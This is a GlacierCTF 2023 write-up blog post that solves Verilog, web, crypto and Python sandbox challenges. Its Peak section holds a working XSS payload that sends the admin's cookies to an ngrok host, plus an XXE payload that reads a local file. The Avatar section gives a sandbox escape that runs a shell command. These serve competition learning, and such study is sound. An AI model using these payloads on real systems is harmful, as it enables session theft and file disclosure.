---
# System prepended metadata

title: io - GlacierCTF 2023 writeups
tags: [crypto, ctf, web, writeup, '2023']

---

# io @ GlacierCTF 2023 - Writeups

Great CTF, very challenging and enjoyable. In solving order:

## intro / Skilift

- `top.v`:
 
    ```
    module top(
        input [63:0] key,
        output lock
    );

        reg [63:0] tmp1, tmp2, tmp3, tmp4;

        // Stage 1
        always @(*) begin
            tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
        end

        // Stage 2
        always @(*) begin
            tmp2 = tmp1 <<< 5;
        end

        // Stage 3
        always @(*) begin
            tmp3 = tmp2 ^ "HACKERS!";
        end

        // Stage 4
        always @(*) begin
            tmp4 = tmp3 - 12345678;
        end

        // I have the feeling "lock" should be 1'b1
        assign lock = tmp4 == 64'h5443474D489DFDD3;

    endmodule 
    ```

Googling the keywords (`module input output reg always endmodule`) suggests the language is Verilog.

The unknown 64-bit input key (int) is bitwise-`and`-ed (`&`) with 0xF0F0F0F0F0F0F0F0, shifted left (`<<`) with 5, bitwise-`xor`-ed with the ASCII bytes "HACKERS!" (encoded as a big endian `int`), 12345678 is subtracted and the result is expected to be 0x5443474D489DFDD3.

Solution: invert the steps:

```python
import struct
hex(((0x5443474D489DFDD3 + 12345678) ^ struct.unpack('>Q', b'HACKERS!')[0]) >> 5)`
# => 0xe0102030604060
```

=> `gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}`

## web / Glacier Exchange

This is a website implementing a "crypto exchange / wallet" which allows converting funds between accounts in various coins + a cash account.

- from `src/wallet.py`:

    ```py
    ...
    
    self.balances = {
        "cashout": 1000,
        "glaciercoin": 0,
        "ascoin": 0,
        "doge": 0,
        "gamestock": 0,
        "ycmi": 0,
        "smtl": 0
    }

    ...

    def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
                return 0

    def inGlacierClub(self):
        with self.lock:
            for balance_name in self.balances:
                if balance_name == "cashout":
                    if self.balances[balance_name] < 1000000000:
                        return False
                    else:
                        if self.balances[balance_name] != 0.0:
                            return False
                        return True
    ```
    
    
The objective appears to be to "join the Glacier club" - from `server.py`:

```py
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
    wallet = get_wallet_from_session()
    clubToken = False
    inClub = wallet.inGlacierClub()
    if inClub:
        f = open("/flag.txt")
        clubToken = f.read()
        f.close()
    return {
        "inClub": inClub,
        "clubToken": clubToken
    }
```

So the goal is to get at least a balance of `1000000000` in the cash account (`'cashout'`) while keeping exactly `0` in the others.

Solution: the check `if self.balances[source] >= amount` can be bypassed using negative amounts, and the huge granularity of very large floats can then be exploited to subtract a large amount from one without changing its value. Steps:
- move `-1e300` from any non-cash account to another (e.g. `doge` to `gamestock`) - this means having `-1e300` in the `gamestock` account and `1e300` in the `doge` account
- move 1000000000 (or more) from the `doge` account to the `cashout` account - this won't change the amount in the `doge` account because of the large gaps in sequential values which can be represented as floating point numbers (IEEE 756), leaving the original float value unchanged (`1e300`)
- move `-1e300` back from `gamestock` to `doge`
- call `/api/wallet/join_glacier_club`

```bash
# using httpie, first get a session key (generated automatically by several APIs and returned as cookie):
http -v 'https://glacierexchange.web.glacierctf.com/api/wallet/balances'|grep session|cut -d= -f2|cut -d';' -f1 >session
# perform the transfers above via API
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=gamestock balance=-1e300 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=cashout balance=1000000000000000000000 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=gamestock targetCoin=doge balance=-1e300 Cookie:session=`cat session`
# check balance to make sure all went well
http 'https://glacierexchange.web.glacierctf.com/api/wallet/balances' Cookie:session=`cat session`
# join the club, get flag
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club' Cookie:session=`cat session`
# =>
{
    "clubToken": "gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}",
    "inClub": true
}
```
    
## web / Peak

This is a PHP website with an XSS exercise (suggested by the automated "admin" in `admin-simulation\admin.py`, which checks "support" messages every 5s).

The XSS is apparent via `web/pages/contact.php` - the `$message['content']` is not escaped in `web/pages/view_message.php` (like the other fields, which are escaped using `htmlentities()`), but:

- due to `header("Content-Security-policy: script-src 'self'")` in `includes/csp.php` inline scripts won't run
- the uploaded image is checked in `actions/contact.php` to have a valid format via `@getimagesize()` - this will actually validate the image header and return the width / height of the image
    - sidenote: I've attempted to build polyglots which JS-comment the image header but the check appears to be explicit so that failed
- `php_flag engine off` in `uploads/.htaccess`, so injected PHP code won't work

Requests are forced to HTTPS by the headless Chrome browser automated for the admin (using _Selenium_), but it accepts self-signed certs (`'--ignore-certificate-errors'`).

`<meta>` refresh works, so it can be used to redirect the admin to an attacker-controlled page by posting this content in the support request body:

```html
<meta http-equiv="refresh" content="3;url=https://1.tcp.eu.ngrok.io:1234/" />
```

In `web/admin/map.php`, some fields of the POSTed `XML` data are injected into a script tag, and CSP is not enabled for this page (presumably because it uses external JS scripts):

```php
...
<script>
var map = L.map('map').setView([0, 0], 12);
...
<?php
...
try
{
    $xmlData = "";
    if ($_SERVER["REQUEST_METHOD"] === "POST") 
    {
        $xmlData = $_POST["data"];
        if(!parseXML($xmlData))
            $xmlData = "";
    }
    ...
    $xml = parseXML($xmlData);
    foreach($xml->marker as $marker)
    {
        $name = str_replace("\n", "\\n", $marker->name);
        echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'.  $name. '").openPopup();' . "\n";
        echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";
    }
...
?>
</script> 
```

The next step is to return an HTML to the victim (as a response to the meta-refresh-based page request above) which auto-submits the `<form>` in `map.php` (using JS) and uses a crafted XML to run JS code and leak the session key (contained in the `PHPSESSID` cookie). We fill in the `<lon>` field in the XML with JS code to end the call we're in the middle of, then create an `<img>` and point it to our server, leaking the cookies:

```html
<!doctype html>
<form method="post" action="https://peak.web.glacierctf.com/admin/map.php">
	<input name="data" id="data" value='<markers><marker><lat>1</lat><lon>1"],9);new Image().src="https://1.tcp.eu.ngrok.io:1234/cookie?"+document.cookie;//</lon><name>x</name></marker></markers>' />
	<button id="submit" type="submit">Submit</button> 
</form>
<script>document.getElementById("submit").click()</script>
```

We then get the `PHPSESSID` cookie, which we inject into our browser:

```
GET /cookie?PHPSESSID=joxAG8Db9UKE9vlO9V4yYg4zd7 HTTP/1.1
```

Again in `map.php`, `LIBXML_NOENT` (which enables the substitution of XML character entity references, which may be external) is passed to `simplexml_load_string()`, so the posted XML should be vulnerable to an XXE attack. Reference: <https://brightsec.com/blog/xxe-vulnerability/>

We POST a crafted XML to that page and get the flag:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<markers>
    <marker>
        <lat>47.0748663672</lat>
        <lon>12.695247219</lon>
        <name>&xxe;</name>
    </marker>
</markers>
```

=> `gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}`

## crypto / Missing Bits

We are provided with a script which encrypts a buffer using an RSA private key and with that key, but partially overwritten with blanks:

```
                                                                
                                                                
                                                                
                                                                
                                                                
                                                                
xwiBgUBTtaSyUvdrqfgAEduRdnzRbKcwEheMxwIDAQABAoIBAAqaJbojNCwYqykz
n0Fn2sxMsho4PhThPQcX79AGqSxVNxviWK2GXETP7SsnvWGmRXHIRnR6JGOhyHVe
dTDYZxOAOhl85FksVQYVUaygf9Epekja/vSj5OE8NIcAdEBr3aZ6gdLxi+q1a5Kh
1nEmsF6FiYGpsPkN63ovbow/CKt4N7UQJqZEQw380rNA0sOQenmzXRFOpXA8PRFb
G6itGRiP1gB9tpdQnWggQ5n+x8/2k+k3CRW6/xIP9dMAVZh2jVombenLxgnhQCJB
bYaR4I8B0zzYqXqFfeHCMNl+pJmmmFcvs2ZE71fqyjRid6ZDqS4GXtSuRQM0UL7L
UQVBaYECgYEA5BiLN7FjwgOuT4FKxFdzizdq/t5mvRksbmBP/JWk3vxQYeCmMiPQ
xrQUqdHGGxG8iMIwH7dnhNaPa81lrP9fCKyij/caEbe4lmEm+VdM/xZQF+PiCc1f
ziYXphz9wuAc8++kvKxM2EaiDe8F25nsXW+FaxNoXKbJg0zTQLyzKiECgYEA8SLi
hbAwo2l0zal8GMIemzr+APxLw+fmd4aryVAMov8ANkG8KDMwdmvvkn3rL7WaKym5
fakqvXR45/QGPe8niVzx6oaWGSSfijeVan27pG/bzVqyymFHZP9cRhEHW4HN57hO
pXy0kUFqVaxJWCs+thH0LTZoToAepg+sr82FaecCgYEAnJnpQzRsHDEwxO8sqP6t
moBS2mdRPDUDV0iSwgTvrBSpD3oQQM5sMXBD24/lpoIX4gEIz025Ke+xij77trmh
wq/b8GGjqVRsy/opqvjwKRZlqPFRKI+zXjKy+95dryT1W9lFTjAxli9wZYaci/fy
2veNL0Wk2i+8nIPraj/j9mECgYEA0ou6LC7OGTDwKs7sqxV78eBNfoDMis7GPeEZ
x9ocXom3HqjA6HzhuNS/xzIpE2xGo5939c+qoOe81hMNDDDwXZEJLdS75FJE90NX
NDd6iracvi6OZAUSeI47fHZL7UtmhQg5q2c6poXumcWn+NMxm3oLsRqLcteNa0PO
bWZPMksCgYBidblknACvEinDUQB8dvElzROql0ZUMX9hQOsSrg0ju3smun8qujcT
PJQrWctoNw0ZXnQjDkVzaJxog1F3QkKUg6B1Rn2Q0RYuCAeNDn+KqBkTT18Du7yw
+GU/4U6EMw+uL7dNjasD1jjx90ro6RmDDBmGDQuludO0G7h9XQzl+Q==
-----END RSA PRIVATE KEY-----
```

The `-----END RSA PRIVATE KEY-----` marker suggests it is a `PKCS#1`-encoded key, generated by older versions of OpenSSL (more recent versions have `-----END PRIVATE KEY-----`, which is `PKCS#8`). So we grab an older version (`1.0.0j` in my case) and generate keys of several plausible sizes (512, 1024, 2048, 4096) with e.g. `openssl genrsa 512 >key` and diff-compare the produced keys with the one above. The 2048-bit key matches.

Underneath the Base64 is a fixed-structure ASN.1 encoded set of values, among which `N` (_modulus_), `p` (`prime1`), `q` (`prime2`), `e` (`publicExponent`) etc. We can either identify the fixed offsets where the values start (after decoding the Base64 wrapper) based on the information printed by `openssl rsa -text -noout -in key` or we can use the top 6 lines from the valid key generated above and overwrite the blanked part of the given private key. It becomes obvious that the overwritten part only contains `N`, which can easily be recovered (as `P` * `Q`).

To decrypt the text however we only need either the private exponent or P and Q:

```py
import math

P = ...
Q = ...
e = 65537
ciphertext = ...

def int_to_bytes(n):
    return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')

N = P * Q
phi = (P - 1) * (Q - 1)
if math.gcd(phi, e) > 1:
    raise ValueError('Invalid φ + e!')
D = pow(e, -1, phi)
print(int_to_bytes(pow(ciphertext, D, N)))
```

=>

```
Hey Bob this is Alice.
I want to let you know that the Flag is                 gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}
```

## intro / ARISAI

- `chall.py`:

    ```py
    from Crypto.Util.number import bytes_to_long
    from Crypto.Util.number import getPrime

    PRIME_LENGTH = 24
    NUM_PRIMES = 256

    FLAG = b"gctf{redacted}"

    N = 1
    e = 65537

    for i in range(NUM_PRIMES):
        prime = getPrime(PRIME_LENGTH)
        N *= prime

    ct = pow(bytes_to_long(FLAG), e, N)

    print(f"{N=}")
    print(f"{e=}")
    print(f"{ct=}") 
    ```

The output of the above code is given as `output.txt`.

The challenge is RSA-based - the modulus `N` is made up of 256 24-bit primes instead of two large ones (`P` / `Q`), which appears to be allowed _in principle_ by the RSA standard (and called a "Multi-prime RSA", or "RSA-MP") but the primes cannot repeat (in this case they do) and there is a much lower limit on their number (around 4 for a 2048 bit key).

Solution:

- factor the large number (trivial), get a list of `factors`

    ```py
    i = int(2 ** 23)    # the range is 2**23..2**24-1
    while N > 1:
        while N % i == 0:
            print(i, sep='', end=', ')
            sys.stdout.flush()
            N //= i
        i += 1
    print()
    ```

- `φ` (`phi`, the _totient function_, used for decryption, `(p-1)*(q-1)` for regular RSA), can be computed as the product of `pow(p, count - 1) * (p - 1)` for each `p` in `factors` (`count` being the number of times `p` appears in `factors`)
- the decryption key / exponent (`D`) is computed as `pow(e, -1, phi)`, then the ciphertext can be decrypted
- assuming `factors` from above and the given values of `N`, `e` and `ct` (ciphertext) from `output.txt` (given):

    ```py
    from operator import mul
    from functools import reduce 

    def int_to_bytes(n):
        return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big') 
    
    N = ...
    e = ...
    ct = ...
    factors = ...
    
    factors_1 = []
    for p in set(factors):
        cnt = factors.count(p)
        factors_1.append(pow(p, cnt - 1) * (p - 1))

    phi = reduce(mul, factors_1, 1)
    D = pow(e, -1, phi)
    print(int_to_bytes(pow(ct, D, N)))
    ```
    
    => `gctf{maybe_I_should_have_used_bigger_primes}`


### misc / Avatar

Failed this one, but I have no idea why. The solution worked locally, so here it is.

The challenge double-evals a string received from the attacker - `chall.py`:

```py
print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:
    
    print("Denied!")
    exit(0)

eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {}) 
```

Both `eval()`s have disabled `__builtins__` and `globals()` and the input command is filtered - only the chars `gctf{}"*+()=>:/` are allowed.

To bypass the filter:
    - numbers can be obtained by adding `bool`s: `(()==())+(()==())` (i.e. `True+True`) evaluates to `2`
    - f-strings can be used to generate characters from those numbers (`f"{...:c}"`) to be then evaluated by the outer `eval()`
    - the encoded string looks something like `f"{((((({}=={})+({}=={}))**(({}=={})+...+((({}=={})+({}=={})))+({}=={}):c}"`

To print flag.txt without `globals` and `__builtins__`, we get `__builtins__` (as a dict): `[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__["__import__"]('os').system('cat flag.txt')`. Reference: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

This string will be passed to the encoder above, a ~22k buffer is produced, which prints `flag.txt` locally:

```sh
$ python3 chall.py <buffer
You get one chance to awaken from the ice prison.
input: cat: flag.txt: No such file or directory
```
